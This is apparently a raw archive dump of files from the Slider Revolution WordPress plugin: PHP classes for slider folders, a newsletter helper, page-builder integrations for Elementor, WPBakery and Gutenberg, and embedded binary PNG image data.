$slider->init_folder_by_id($folder_id); $folders[] = $slider; } } return $folders; } /** * Get all Folders from the Slider Table **/ public function get_folder_by_id($id){ global $wpdb; $folder = $wpdb->get_row($wpdb->prepare("SELECT * FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDER ." WHERE `type` = 'folder' AND `id` = %s", $id), ARRAY_A); return $folder; } /** * Create a new Slider as a Folder **/ public function create_folder($alias = 'New Folder', $parent = 0){ global $wpdb; $title = esc_html($alias); $alias = sanitize_title($title); $temp = $title; $folder = false; $ti = 1; while($this->alias_exists($alias)){ //set a new alias and title if its existing in database $title = $temp . ' ' . $ti; $alias = sanitize_title($title); $ti++; } //check if Slider with title and/or alias exists, if yes change both to stay unique $done = $wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_SLIDER, array('title' => $title, 'alias' => $alias, 'type' => 'folder')); if($done !== false){ $this->init_folder_by_id($wpdb->insert_id); $folder = $this; if(intval($parent) > 0){ $slider = new RevSliderFolder(); $slider->init_folder_by_id($parent); $children = $slider->get_children(); $children = (!is_array($children)) ? array() : $children; $children[] = $this->get_id(); $slider->add_slider_to_folder($children, $parent); } } return $folder; } /** * Add a Slider ID to a Folder **/ public function add_slider_to_folder($children, $folder_id, $replace_all = true){ global $wpdb; $response = false; $folder = $wpdb->get_row($wpdb->prepare("SELECT * FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDER ." WHERE `id` = %s AND `type` = 'folder'", $folder_id), ARRAY_A); if(!empty($folder)){ $settings = json_decode($this->get_val($folder, 'settings'), true); if(!isset($settings['children'])){ $settings['children'] = array(); } if($replace_all){ $settings['children'] = $children; }else{ $children = (array)$children; if(!empty($children)){ foreach($children as $child){ if(!in_array($child, $settings['children'])){ $settings['children'][] = $child; } } } } $response = $wpdb->update($wpdb->prefix . RevSliderFront::TABLE_SLIDER, array('settings' => json_encode($settings)), array('id' => $folder_id)); $response = ($response == false && empty($wpdb->last_error)) ? true : $response; } return $response; } /** * Get the Children of the folder (if any exist) **/ public function get_children(){ return $this->get_val($this->settings, 'children', array()); } /** * Get the Children of the folder (if any exist) * @since: 6.1.4 **/ public function set_children($children){ return $this->set_val($this->settings, 'children', $children); } }admin/includes/newsletter.class.php000060400000003303151724235750013461 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch * @version 1.0.0 */ if(!defined('ABSPATH')) exit(); if(!class_exists('ThemePunch_Newsletter')) { class ThemePunch_Newsletter { protected static $remote_url = 'http://newsletter.themepunch.com/'; protected static $subscribe = 'subscribe.php'; protected static $unsubscribe = 'unsubscribe.php'; public function __construct(){ } /** * Subscribe to the ThemePunch Newsletter * @since: 1.0.0 **/ public static function subscribe($email){ global $wp_version; $request = wp_remote_post(self::$remote_url.self::$subscribe, array( 'user-agent' => 'WordPress/'.$wp_version.'; '.get_bloginfo('url'), 'timeout' => 15, 'body' => array( 'email' => urlencode($email) ) )); if(!is_wp_error($request)) { if($response = json_decode($request['body'], true)) { if(is_array($response)) { $data = $response; return $data; }else{ return false; } } } } /** * Unsubscribe to the ThemePunch Newsletter * @since: 1.0.0 **/ public static function unsubscribe($email){ global $wp_version; $request = wp_remote_post(self::$remote_url.self::$unsubscribe, array( 'user-agent' => 'WordPress/'.$wp_version.'; '.get_bloginfo('url'), 'timeout' => 15, 'body' => array( 'email' => urlencode($email) ) )); if(!is_wp_error($request)) { if($response = json_decode($request['body'], true)) { if(is_array($response)) { $data = $response; return $data; }else{ return false; } } } } } }admin/includes/shortcode_generator/elementor/.htaccess000044400000000177151724235750017310 0ustar00 Order allow,deny Deny from all admin/includes/shortcode_generator/elementor/elementor.class.php000060400000003524151724235750021316 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); class RevSliderElementor { public static function init() { $min_elementor_version = '2.0.0'; $min_php_version = '7.0'; // Check if Elementor installed and activated if(!did_action('elementor/loaded')) return; // Check for required Elementor version if(!version_compare(ELEMENTOR_VERSION, $min_elementor_version, '>=' )) return; // Check for required PHP version if(version_compare(PHP_VERSION, $min_php_version, '<')) return; // Add Plugin actions if(version_compare(PHP_VERSION, '3.5.0', '<')){ add_action('elementor/widgets/widgets_registered', array('RevSliderElementor', 'init_elementor_widgets')); }else{ add_action('elementor/widgets/register', array('RevSliderElementor', 'init_elementor_widgets')); } // Register Widget Styles/Scripts add_action('elementor/editor/after_enqueue_styles', array('RevSliderShortcodeWizard', 'add_styles')); add_action('elementor/editor/after_enqueue_scripts', array('RevSliderElementor', 'add_scripts')); } public static function add_scripts() { RevSliderShortcodeWizard::add_scripts(true); } public static function init_elementor_widgets() { // Include Widget files require_once(plugin_dir_path( __FILE__) . 'elementor-widget.class.php'); // Register widget $widgets_manager = \Elementor\Plugin::instance()->widgets_manager; if(version_compare(ELEMENTOR_VERSION, '3.1.0', '<=')){ $widgets_manager->register_widget_type( new RevSliderElementorWidgetPre310() ); }elseif(version_compare(ELEMENTOR_VERSION, '3.5.0', '<')){ $widgets_manager->register_widget_type( new RevSliderElementorWidget() ); }else{ $widgets_manager->register( new RevSliderElementorWidget() ); } } }admin/includes/shortcode_generator/elementor/index.php000060400000000033151724235750017317 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); class RevSliderElementorWidget extends \Elementor\Widget_Shortcode { public function get_name() { return 'slider_revolution'; } public function get_title() { return 'Slider Revolution 6'; } public function get_icon() { return 'eicon-sync'; } public function get_categories() { return array('general'); } public function rs_register_controls() { /*Fallback $shortcode = $this->get_settings_for_display( 'text' ); if(empty($shortcode)) $shortcode = $this->get_settings_for_display( 'shortcode' ); $revslidertitle = $this->get_settings_for_display( 'sliderTitle' ); if(empty($revslidertitle)) $revslidertitle = $this->get_settings_for_display( 'revslidertitle' ); var_dump($revslidertitle); */ $this->start_controls_section( 'content_section', array( 'label' => 'Slider Revolution 6', 'tab' => \Elementor\Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'revslidertitle', array( 'label' => __( 'Selected Module:', 'revslider' ), 'type' => \Elementor\Controls_Manager::TEXT, 'render_type' => 'none', 'placeholder' => '', 'default' => '', 'event' => 'themepunch.selectslider', ) ); $this->add_control( 'shortcode', array( //'type' => \Elementor\Controls_Manager::HIDDEN, 'type' => \Elementor\Controls_Manager::TEXT, 'label' => __( 'Shortcode', 'revslider' ), 'dynamic' => ['active' => true], 'placeholder' => '', 'default' => '', ) ); $this->add_control( 'wrapperid', array( //'type' => \Elementor\Controls_Manager::HIDDEN, 'type' => \Elementor\Controls_Manager::TEXT, 'label' => __( 'Wrapper ID', 'revslider' ), //'dynamic' => ['active' => true], 'placeholder' => '', 'default' => '', ) ); // Advanced $this->add_control( 'select_slider', array( 'type' => \Elementor\Controls_Manager::BUTTON, 'button_type' => 'default', 'text' => __( 'cached Select Module', 'revslider' ), 'event' => 'themepunch.selectslider', ) ); $this->add_control( 'edit_slider', array( 'type' => \Elementor\Controls_Manager::BUTTON, 'button_type' => 'default', 'text' => __( 'edit Edit Module', 'revslider' ), 'event' => 'themepunch.editslider', ) ); $this->add_control( 'settings_slider', array( 'type' => \Elementor\Controls_Manager::BUTTON, 'button_type' => 'default', 'text' => __( 'tune Block Settings', 'revslider' ), 'event' => 'themepunch.settingsslider', ) ); $this->add_control( 'optimize_slider', array( 'type' => \Elementor\Controls_Manager::BUTTON, 'button_type' => 'default', 'text' => __( 'flash_on Optimize File Sizes', 'revslider' ), 'event' => 'themepunch.optimizeslider', ) ); $this->end_controls_section(); } protected function register_controls() { $this->rs_register_controls(); } protected function render() { global $rs_loaded_by_editor; if ( \Elementor\Plugin::$instance->editor->is_edit_mode() ) $rs_loaded_by_editor = true; $shortcode = $this->get_settings_for_display( 'shortcode' ); $wrapperid = $this->get_settings_for_display( 'wrapperid' ); $wrapperid = empty($wrapperid) ? '': 'id="' . $wrapperid . '" '; $shortcode = do_shortcode( shortcode_unautop( $shortcode ) ); $zindex = $this->get_settings_for_display( 'zindex' ); $style = $zindex ? ' style="z-index:'.$zindex.';"' : ''; // hack to make sure object library only opens when the user manually adds a slider to the page if(empty($shortcode)) { ?>
            class="wp-block-themepunch-revslider">
            editor->is_edit_mode() ) $rs_loaded_by_editor = false; } } /** * function _register_controls() is deprecated since 3.1.0 of Elementor **/ class RevSliderElementorWidgetPre310 extends RevSliderElementorWidget { protected function _register_controls() { $this->rs_register_controls(); } } admin/includes/shortcode_generator/wpbakery/index.php000060400000000033151724235750017151 0ustar00 __('Slider Revolution 6', 'revslider'), 'base' => 'rev_slider', 'icon' => 'icon-wpb-revslider', 'category' => __('Content', 'revslider'), 'show_settings_on_create' => false, 'js_view' => 'VcSliderRevolution', 'admin_enqueue_js' => RS_PLUGIN_URL.'admin/assets/js/shortcode_generator/vc.js', 'front_enqueue_js' => RS_PLUGIN_URL.'admin/assets/js/shortcode_generator/vc.js', 'params' => array( array( 'type' => 'rev_slider_shortcode', 'heading' => __('Modal', 'revslider'), 'param_name' => 'modal', 'admin_label' => false, 'value' => '' ), array( 'type' => 'rev_slider_shortcode', 'heading' => __('Popup', 'revslider'), 'param_name' => 'popup', 'admin_label' => false, 'value' => '' ), array( 'type' => 'rev_slider_shortcode', 'heading' => __('Title', 'revslider'), 'param_name' => 'slidertitle', 'admin_label' => true, 'value' => '' ), array( 'type' => 'rev_slider_shortcode', 'heading' => __('Alias', 'revslider'), 'param_name' => 'alias', 'admin_label' => true, 'value' => '' ), array( 'type' => 'rev_slider_shortcode', 'heading' => __('Offset', 'revslider'), 'param_name' => 'offset', 'admin_label' => false, 'value' => '' ), array( 'type' => 'rev_slider_shortcode', 'heading' => __('Layout', 'revslider'), 'param_name' => 'layout', 'admin_label' => false, 'value' => '' ), array( 'type' => 'rev_slider_shortcode', 'heading' => __('z-Index', 'revslider'), 'param_name' => 'zindex', 'admin_label' => false, 'value' => '' ), array( 'type' => 'rev_slider_shortcode', 'heading' => __('Usage', 'revslider'), 'param_name' => 'usage', 'admin_label' => false, 'value' => '' ), ) ) ); } } }admin/includes/shortcode_generator/wpbakery/.htaccess000044400000000177151724235750017142 0ustar00 Order allow,deny Deny from all admin/includes/shortcode_generator/.htaccess000044400000000177151724235750015316 0ustar00 Order allow,deny Deny from all admin/includes/shortcode_generator/gutenberg/plugin.php000060400000001166151724235750017506 0ustar00 Order allow,deny Deny from all admin/includes/shortcode_generator/gutenberg/package.json000060400000000414151724235750017760 0ustar00{ "name": "revslider-gutenberg-cgb-guten-block", "version": "1.0.0", "private": true, "scripts": { "start": "cgb-scripts start", "build": "cgb-scripts build", "eject": "cgb-scripts eject" }, "dependencies": { "cgb-scripts": "^1.17.0" } } admin/includes/shortcode_generator/gutenberg/gutenberg-block.php000060400000007171151724235750021264 0ustar00prefix = $pre; // add ThemePunch block category if(version_compare($wp_version, '5.8', '>=')){ add_filter('block_categories_all', array($this, 'create_block_category'), 10, 2); }else{ //block_categories is deprecated since 5.8 add_filter('block_categories', array($this, 'create_block_category'), 10, 2); } // Hook: Frontend assets. add_action('enqueue_block_assets', array($this, 'revslider_gutenberg_cgb_block_assets')); // Hook: Editor assets. add_action('enqueue_block_editor_assets', array($this, 'revslider_gutenberg_cgb_editor_assets')); } /** * Check Array for Value Recursive */ private function in_array_r($needle, $haystack, $strict = false){ if(is_array($haystack) && !empty($haystack)){ foreach($haystack as $item){ if(($strict ? $item === $needle : $item == $needle) || (is_array($item) && $this->in_array_r($needle, $item, $strict))){ return true; } } } return false; } /** * Add ThemePunch Gutenberg Block Category */ public function create_block_category($categories, $post){ if($this->in_array_r('themepunch', $categories)){ return $categories; } return array_merge($categories, array(array('slug' => 'themepunch', 'title' => __('ThemePunch', 'revslider')))); } /** * Enqueue Gutenberg block assets for both frontend + backend. * * @uses {wp-editor} for WP editor styles. * @since 1.0.0 */ public function revslider_gutenberg_cgb_block_assets(){ // phpcs:ignore // Styles. wp_enqueue_style( 'revslider_gutenberg-cgb-style-css', // Handle. plugins_url( $this->prefix . 'dist/blocks.style.build.css', dirname( __FILE__ )), // Block style CSS. array(), // Dependency to include the CSS after it. RS_REVISION// filemtime( plugin_dir_path( __DIR__ ) . 'dist/blocks.style.build.css') // Version: File modification time. ); } /** * Enqueue Gutenberg block assets for backend editor. * * @uses {wp-blocks} for block type registration & related functions. * @uses {wp-element} for WP Element abstraction — structure of blocks. * @uses {wp-i18n} to internationalize the block's text. * @uses {wp-editor} for WP editor styles. * @since 1.0.0 */ public function revslider_gutenberg_cgb_editor_assets(){ // phpcs:ignore // Scripts. wp_enqueue_script( 'revslider_gutenberg-cgb-block-js', // Handle. plugins_url( $this->prefix . 'dist/blocks.build.js', dirname( __FILE__ )), // Block.build.js: We register the block here. Built with Webpack. array('wp-blocks', 'wp-i18n', 'wp-element'), // Dependencies, defined above. // filemtime( plugin_dir_path( __DIR__ ) . 'dist/blocks.build.js'), // Version: File modification time. RS_REVISION, true // Enqueue the script in the footer. ); wp_localize_script( 'revslider_gutenberg-cgb-block-js', 'revslider_gutenberg', array('pluginurl' => RS_PLUGIN_URL) ); // Styles. wp_enqueue_style( 'revslider_gutenberg-cgb-block-editor-css', // Handle. plugins_url( $this->prefix . 'dist/blocks.editor.build.css', dirname( __FILE__ )), // Block editor CSS. array('wp-edit-blocks'), // Dependency to include the CSS after it. RS_REVISION // filemtime( plugin_dir_path( __DIR__ ) . 'dist/blocks.editor.build.css') // Version: File modification time. ); } } }admin/includes/shortcode_generator/gutenberg/src/index.php000060400000000033151724235750020076 0ustar00 Order allow,deny Deny from all admin/includes/shortcode_generator/gutenberg/src/assets/images/revlogo.png000060400000012476151724235750023226 0ustar00PNG  IHDRT<9BB6tEXtSoftwareAdobe ImageReadyqe<#iTXtXML:com.adobe.xmp t%IDATx]{lU޾(ς.J5(,4սU4U[[ݸ&jtw /WvYA^"kA(Ǣ>sv:sfܙ%_:;s<}cex.o|d «q Hu)?3q j&P B:SfdAx>2 QdyQ@ CC-R2Uj957@܇'1e=ΤI|+ " S)L&'^ꒋK zETRjr%^vw59@ > =?{!ՕGAr4$Ȃ qX&qE&TA̙~;jP|rcdpz&_ɓ+!>Ei.y$lN¹&-@ x }…00sjM ;אLχ73WkAd1=Ky&Af9&B6%D `;O?q4`C&Еv -+V uHD!5o|7p 3AI/o 7WRk|H@ \(+_nQ i=rm3AӠBĉ0~l|pܹ.Xء;/&T1@5xf~3֯_}N}&"Fs/YܷD, U$*pA2iL7 ӖÇ?ܙxXsMMGo6lѣj n*i4S)>@ \H"Z7߄ /)ӌL"_W}̯qV\. o3@t k**`ܢEN g!;ИjmUQ1Pj5 Rw9ڬ@ d4r-?-(/ SEB~ } voJ0U,Q0?5D#Hv+욠ZWv<_'3:ߒ<*bj2FmޫE#_lڨmo|J7E~F-?b5O{;!*y.\͢T$)_#ԎRWMIcn g/BہR#2jyYsC3s-+ZUSh+Z,C3v̠! \aMP 2$ ~PR>qoŃ]$%^8fiR/ u.ԙ*i .BrTx#de?PۘLAy g]Ȓ@S׽zq[૫|HaAǺZ1K廉I=Cobrzcz>f +&1f&ӄե#SEe;BeAM2̆ aCϏN$J jf#1CQ#74y1ehf=<([uXC͟7Ǝ՝?ejQ5ۮ &Ni ,-1wdd dNcU)FcaP%,jWdMg$~txf; /\w1wvJI'R͎(Kn~{(nn?,ƕQ5h\xu)鮗 &&*-CD$w0Oe<$QOMDŽ?f\WKμW$&bp^߀X?VN#sx;HJCI9g\f+խCE{J$,?@ˌXm ~֋;[ݹ_mh -xw ZlPqdUMO:5dD RSe\%>\.k 5No0:mׄ؄X.\k-zIcڜp|Nj "K$۵  ~j\wLv _wQş5gY3==pj:ET)3WcaKAڤl.?*hp!Ԫ*Ul/tnTp#AbFb1ċTiV2)e 1Zcؖ-…qt6_9wOŋiRs"$pu8,wv7td7n$.)O+ L};): *qWdW$P-5 'OȎ֌Q.`Abo&KkQ?T0W4,joc2ko7mi(/KwMrWJ0VcU6sd[nA$jҘpw'+j:D_\̚r2S[8I)+L<`x񯛂)EiO> W\9G/J/}ک*RJ:q ; kL &Wbյ`-yZNUqF0F8,K_ץZ?Gl7$@I 'Pn w~޸=n(-JL}@ R6Gr 7$5+dgO=}wLekõR@ \#ԶÇ?T^hml>>qtLJ|17N2V)GI P{ΟO-Kuw+~t/#ֶ},}.XM}g)ΔH@ 7MqSݻRZo[bzɘ9sO㮽 gQ s v8t45AΝg7[%LIA_^<9Z @a *o.MJP[ZGAF)ݠli0!R ~m(@ d.(31@Rf2U,)*@ BſbCNnHFeLL&6&S6[]LM] 59@PO8!T5Y׉?He jr8g5T cBS6vo&'^f7ERC/!BYL`6359@ <sk[rsQcxhfZ zɕL(@ xr, C7-~Oj6Q"~ɔ@ x67]ntJ`%X@ }b,,_l6B'39eeNȣU(1SyHFKS`pqTσ'نėӤ@`U1VIENDB`admin/includes/shortcode_generator/gutenberg/src/assets/images/esglogo.png000060400000010401151724235750023172 0ustar00PNG  IHDRT<9BB6tEXtSoftwareAdobe ImageReadyqe<#iTXtXML:com.adobe.xmp X~k tIDATx=l)ʌDĊ>N)Ҥ:ՒPn:c:U]RXD)T: E8O" "Xr背D.*sÙ~{;3;}oͬtO0}eLw1]9LkG AH ob o-LLA! L,@{mԆܦԂ Mט~跩"[,\amtI\~ATlZtt"5TAҠ.hL K.B.j\rAԗ %!MAADPADPADPU~k5l>2ݽ ϝhVAuQ yfJE6DO> 9szr|.\f)%B7Oп +u+T9׮RIUZcPC1{r&,1Tֺjx?c+'.+e<"oUs&'bG1vWDk dH*VGrykEy4jLuhku)J:n*[u!'08D`;cY6&*,duq ~G.lX1|3(‡,RLd-yZ.$~;r$T'w~m}{-]eei)ߴ=gꎈ aކP7;7ʌD0֔S߭$3>qLlVRbqԀO;xǷoqz۞w^y%pYĺ=6xmjdhtSO͖T^ MwW|ymĢJזTGv}ls:iP1éSh]EҶj:u7yg&+‚ O-I2Np} N_q#iՌ;JsnӡPMQ>MgcuVХZb&_]^};: oބ -y#1QkZ6X3 *vSWFYraDi *~/sCf猭塘ZC.>ML$1=+(",0)mud/e+5Ywhl8ym—v *r\ opQAAE<2:{ګXCq79bZ,X{+iEUql57i!ٺͻZvHz|/:  t)! A},$`8Q&.1U^PDS)ǓQ~-<'N8B5sAY>l-ʊŲ]tmy3׊!XT[& ҵݳXn[ͅe 8(DN7N%86TAêj zm) Mތē\Q/*eff;duh@@Ѡ;p)0: Jici ܼ +ʠmw}Q|VúWt@ n8y2v Lꭘ VJ9RuZi]K_4l>Ϝ*AזЊ#Vڧ( zxҷ_~z2 JOp?Z:&qMh Ia8mA%Y-.7Ma'ayuq;{6kK(h8 f/Z;p[P1%^:u" nqht)D@޴o\pZI>~Rwc6F8? ?*8,֦bq 3G3\aHk/6]yU9 ,O8yMӰ܀^d_tTv S/}ˑlRɑ"&iB" jyMQ=vlG)%%A-ՠtyR9?>n+gH!n}\o=t$t$Z]KP#U 6%mWn}$`&#tU<~ǪEP'38w3m y4Nc,Ũk ՎVRh=R2_GP];gU ~-bH?xӚqfնBDTv9lʆe~3-篓;uӮm h]ϒdؔ ԙ |I;,n EL}644e2Rc/_< bZsiڨ+3 Avkⶮ7X,Q&KJU*nkQ5 `ܯC5 +-AU-US$4p R.b VAT "J|Q紟gjk\rA+YUŴ?vqw[4:B š-`:E+iS݂<Giġ H5Ȳ}Jg[vH BjF!J͚P! A%~鷙7϶P i!So-K҇*BVJ@M~ q63v"  4BIENDB`admin/includes/shortcode_generator/gutenberg/src/assets/images/js-wapuu.svg000060400000077261151724235750023342 0ustar00 Artboard Created with Sketch. admin/includes/shortcode_generator/gutenberg/src/assets/images/rs6_number_2x.png000060400000007366151724235750024246 0ustar00PNG  IHDRFFLutEXtSoftwareAdobe ImageReadyqe<(iTXtXML:com.adobe.xmp dIDATx[ pekzd&I‘J V9Re-uU@-], obXu]tEB! LI„ILOO~3t+$f}_~,?de_,! Q dF49Ţ{G":Ap!$lPc"R C9Dܞܛ5+>+sFbt5[:b HO$PzU@hBKh/m:HMM\,#YNQV*,"E$/GW=:c|LCOpl;dXUbhjB6HIDnؤhj8\$Ĉ7[ F 䅡Ѷg|OX]$c=ӽO\I8 M|kˍC 1rǥ "ϋQ>I(4^|e G-61;T/* "ׯhc(p\e'|%'iwh ۆ|w=8dI!a TIjVѩc#V;yhh (As;M* ˚gBS4>6HCN",5n*">ϰTh8,Wj, ţȼZE'tX d$GIH)0288RL 'W|ܨi }uj Pm;Yh1\քJFxp0ic.( b+I-]$AĜ*z34擁!o3b75H 8Z ABvrTG lּ;40l5@ sK-g揷{~6)ql-̺b:(䷔gd(Yl˨Vkxd'jfHS_V 狭E].@)BC<#!αœo},,2LRfg^]h<=r _܄@V]C/KJQ?h$l#mR7O=I5M'o_4ȕTYEJ456.&Tsfk?T^B"Al B&E2"1B vR+tU`pҪRu&+mSBI).n )AOH!U^mS,]:maPDnɐH"9wVT:nP@g6kCєQ}ȗk*Z A4@B[쬳Da˨6mE(C'JrKuҖ@+^ s|SdmFO/x, pԶ %~kI3 3Bhf5m%Hu@0$?L&J{SDٛ2*@ UPlFB`4ʛFC$ p~BXr;9e~*z z`UMt24.U\CmS%cj!Yl%)_~*Ԁ -^]P* JOzes'8x&e *]/{`Ζ+U-[;UA:ot^/aDg->=k/kU7q然7_P!$ X=*ԘsXWr RL7E,H$X-W#f@xdd Lf-`wl(.[Κh/$\<4b#7n by|v-< &]w^KjH0r׫ q.IDATx]wp\]Q'ٲl6l8 pf5dH LdBBd,H($(L[ Ae@.eI'5Ňݽӕiv~[L2)ړ^cA[/"9&V FѶ ݂,vZ_dX,}+䭌7IO|~%wj摹 ^%QGpsf 75݆-aokd\79&}Yd2UR҂vsok=wϋ<"p_q*>Չ[miٗ⮧OW߲u-HLF { sx!o9\/%lPګ 5ʖ5 GQ:n^!u՟+wT~'2?REҔfž GMSւ٘ q I|< i3 E(;ցk/uw37%ºo(% ALb:% {h߹y[/7V̘qs0;#d̘LV$ƉjWZ-8KOgzF+pAϩ1567x| tw [Kͽز ff*Z@)&Zu=L0l8KJrĝ A-= W6! qr|(%~JުM'ecϱ>k;C^2r3;WLؘ*"dY9k xIm9ߴ0%fĦT\4߻UWXU0 ^&E9D{EfK]}Xrfv s#!pU :I&ž] /ٸrwG7>yr `1 ĨDY\CQo1})]p7cvy5O2෷:9ѯ7Hβ/H7禎0@,1Z6D/qpKN[(u֏5?y RӬ̜7<4]U܏ʆaCAQ{FKBԫVQ2\5D'.7nl69yh_~%( _{qq)B.|z 6Y)(P) uNH Z['2Sfw,,S& 2o1-:w("4*K]>AED+Hm+o(@NIal,9g}тuƮ8pHXéc,%5>ZZ9ɪN1f6^wRdH]Y'"[@S#"p`V?kOV⇷B.0,`Z4pfAbL-]/龭8U3.+uɁ^VНpƁl~&nIW5SRmL'Wb1> 'W8 5QDA&t=jz 62q*q}z?WGHEi1YFhwN+4\gcX] g{b-ԔS,p1+q в=F`V9WNZwDKsyԹ*bF"۶ߴKTe,ՔM[b#qz,N1rӏ[mǡ^}߉j%ueJA `YqHXeY?nDŽ0>6"ÃcԃcCL$p՘U %\%N= 87&_0*wPkX{yW/B`PoS-UH*%Rb*%UXzj;EN|~x{aK0zLֈ+S:p6#0~},L'~sy)N>a LЍL.3EvcR}6ڻ?e\_:_⥟.߄W3f .l0.,87љc[zl䮘G+r&r,YjSJ8Y+?V@f urS1,?azrAk~_L4Wyrkx}pUIi•KZM{k]}F +NW7h?Vb0<`.wX%I ^ԯcLw-ƹ)sKY׿aZbN(\8c,N'߇ty 3 b nuNN&Y:ٗ;-\hi,>Z(?#n$[,^μd.ξST NMaIp ۺu`4[͡4J ޒrb \G@ &SYJ (Fs[';|S$8)_6١C%SE oz(L|-iZLNTyI*ጓxgʺXřxtT;cN6|,vhZ_;N*z qcj  g% *ĵګEU n)+ʍ_@1[dn TA&'$D(Տ6_8O{>μx.lbOc_wcͿ_.uObzHFk:U06?#TZpVO-_DJJ'bQPIY^{v.(QAQ:P8v|QFXi(tmd/5{ppYYT@>y}QXN/Ezjc7d$;OՀ{?CE˧6"FI⒑\8-jD w%"=Nkp~Z]NOx=wYa Od] sIQuv$ɈqrQۍ8;܍e;>|vz萓1+2vr])71!1҃=بqsWS2G-) }6\ L=ހj =l 1|efJd҇ gfOqSG,KCcxbM;làzPX mE邹d7a(>E0)^Ʃoqw;Ôx`iv|ڎ_]yp3<[tߓ5׿M7ߚ0\JDvN(\;ˣ],$8[qX⬤H'.GbsEtY8vtq˔|@K;j_כ:w*|u8RLEpo5k SS6=N=U8 F4dj><*s)EIY.+Β{SpV{uQvՌ&CY$ `q 1ZŷXȭaS\lbeA=N|p#^N,;D֖^R)K)VVR0OLLVɉNN#h'ؽ6H(F/ԃX Osi,H%?2v]ÌSUDXaV3'ѭ"X#h-^ԣĂ\U5I~ =bZg4)n$ `Q-(Բ ~V=Sԥ7 ]x] 59C\#_Vqnu#1NjcWBdN~IENDB`admin/includes/shortcode_generator/gutenberg/src/assets/images/index.php000060400000000033151724235750022645 0ustar00 Order allow,deny Deny from all admin/includes/shortcode_generator/gutenberg/src/common.scss000060400000000332151724235750020445 0ustar00/** * #.# Common SCSS * * Can include things like variables and mixins * that are used across the project. */ // Colors. $black: rgb(41, 41, 41); $white: #f4f4f4; $gray: #dedede; $green: #bada55; $red: orangered; admin/includes/shortcode_generator/gutenberg/src/gutenberg-block.php000060400000007032151724235750022047 0ustar00prefix = $pre; // add ThemePunch block category if(version_compare($wp_version, '5.8', '>=')){ add_filter('block_categories_all', array($this, 'create_block_category'), 10, 2); }else{ //block_categories is deprecated since 5.8.0 add_filter('block_categories', array($this, 'create_block_category'), 10, 2); } // Hook: Frontend assets. add_action( 'enqueue_block_assets', array( $this, 'revslider_gutenberg_cgb_block_assets' ) ); // Hook: Editor assets. add_action( 'enqueue_block_editor_assets', array( $this, 'revslider_gutenberg_cgb_editor_assets' ) ); } /** * Check Array for Value Recursive */ private function in_array_r($needle, $haystack, $strict = false){ if(is_array($haystack) && !empty($haystack)){ foreach($haystack as $item){ if(($strict ? $item === $needle : $item == $needle) || (is_array($item) && $this->in_array_r($needle, $item, $strict))){ return true; } } } return false; } /** * Add ThemePunch Gutenberg Block Category */ public function create_block_category($categories, $post) { if($this->in_array_r('themepunch', $categories)){ return $categories; } return array_merge($categories, array(array('slug' => 'themepunch', 'title' => __('ThemePunch', 'revslider')))); } /** * Enqueue Gutenberg block assets for both frontend + backend. * * @uses {wp-editor} for WP editor styles. * @since 1.0.0 */ public function revslider_gutenberg_cgb_block_assets() { // phpcs:ignore // Styles. wp_enqueue_style( 'revslider_gutenberg-cgb-style-css', // Handle. plugins_url( $this->prefix . 'dist/blocks.style.build.css', dirname( __FILE__ ) ), // Block style CSS. array( 'wp-editor' ) // Dependency to include the CSS after it. // filemtime( plugin_dir_path( __DIR__ ) . 'dist/blocks.style.build.css' ) // Version: File modification time. ); } /** * Enqueue Gutenberg block assets for backend editor. * * @uses {wp-blocks} for block type registration & related functions. * @uses {wp-element} for WP Element abstraction — structure of blocks. * @uses {wp-i18n} to internationalize the block's text. * @uses {wp-editor} for WP editor styles. * @since 1.0.0 */ public function revslider_gutenberg_cgb_editor_assets() { // phpcs:ignore // Scripts. wp_enqueue_script( 'revslider_gutenberg-cgb-block-js', // Handle. plugins_url( $this->prefix . 'dist/blocks.build.js', dirname( __FILE__ ) ), // Block.build.js: We register the block here. Built with Webpack. array( 'wp-blocks', 'wp-i18n', 'wp-element', 'wp-editor' ), // Dependencies, defined above. // filemtime( plugin_dir_path( __DIR__ ) . 'dist/blocks.build.js' ), // Version: File modification time. true // Enqueue the script in the footer. ); // Styles. wp_enqueue_style( 'revslider_gutenberg-cgb-block-editor-css', // Handle. plugins_url( $this->prefix . 'dist/blocks.editor.build.css', dirname( __FILE__ ) ), // Block editor CSS. array( 'wp-edit-blocks' ) // Dependency to include the CSS after it. // filemtime( plugin_dir_path( __DIR__ ) . 'dist/blocks.editor.build.css' ) // Version: File modification time. ); } } }admin/includes/shortcode_generator/gutenberg/src/revslider/index.js000060400000006246151724235750021736 0ustar00/** * Block dependencies */ import './style.scss'; import './editor.scss'; /** * Internal block libraries */ const { __ } = wp.i18n; const { registerBlockType } = wp.blocks; if(typeof wp.blockEditor !== 'undefined') var { InspectorControls, InspectorAdvancedControls } = wp.blockEditor; else var { InspectorControls, InspectorAdvancedControls } = wp.editor; const { Component } = wp.element; import { deprecated } from './deprecated'; import { RevSlider } from './revslider'; import { TextControl } from '@wordpress/components'; const { withState } = wp.compose; /** * Register block */ export default registerBlockType( 'themepunch/revslider', { title: __( 'Slider Revolution', 'revslider' ), description: __( 'Add your Slider Revolution Module!', 'revslider' ), category: 'common', icon: { src: 'update', background: 'rgb(94, 53, 177)', color: 'white', viewbox: "0 0 28 28" }, example: { attributes: { cover: true }, }, keywords: [ __( 'Banner', 'revslider' ), __( 'CTA', 'revslider' ), __( 'Slider', 'revslider' ), ], attributes: { checked: { type: 'boolean', default: false }, modal: { type: 'boolean', default: false }, content: { selector: '.revslider', type: 'string', source: 'text', }, text: { selector: '.revslider', type: 'string', source: 'text', }, slidertitle: { selector: '.revslider', type: 'string', source: 'attribute', attribute: 'data-slidertitle', }, sliderImage: { type:'string' }, hideSliderImage:{ boolean: false }, alias: { type: 'string' }, zindex: { type: 'string' }, wrapperid: { type: 'string' }, cover: { default: false } }, edit: props => { const { setAttributes, attributes: { wrapperid ,cover} } = props; return [ !cover &&
            , cover &&
            ]; }, deprecated, save: props => { const { attributes: { text, content, slidertitle, modal, zindex, wrapperid } } = props; let style; style = zindex ? "z-index:"+zindex+";" : ""; let shortcode = !content && text ? text : content; return (
            {shortcode}
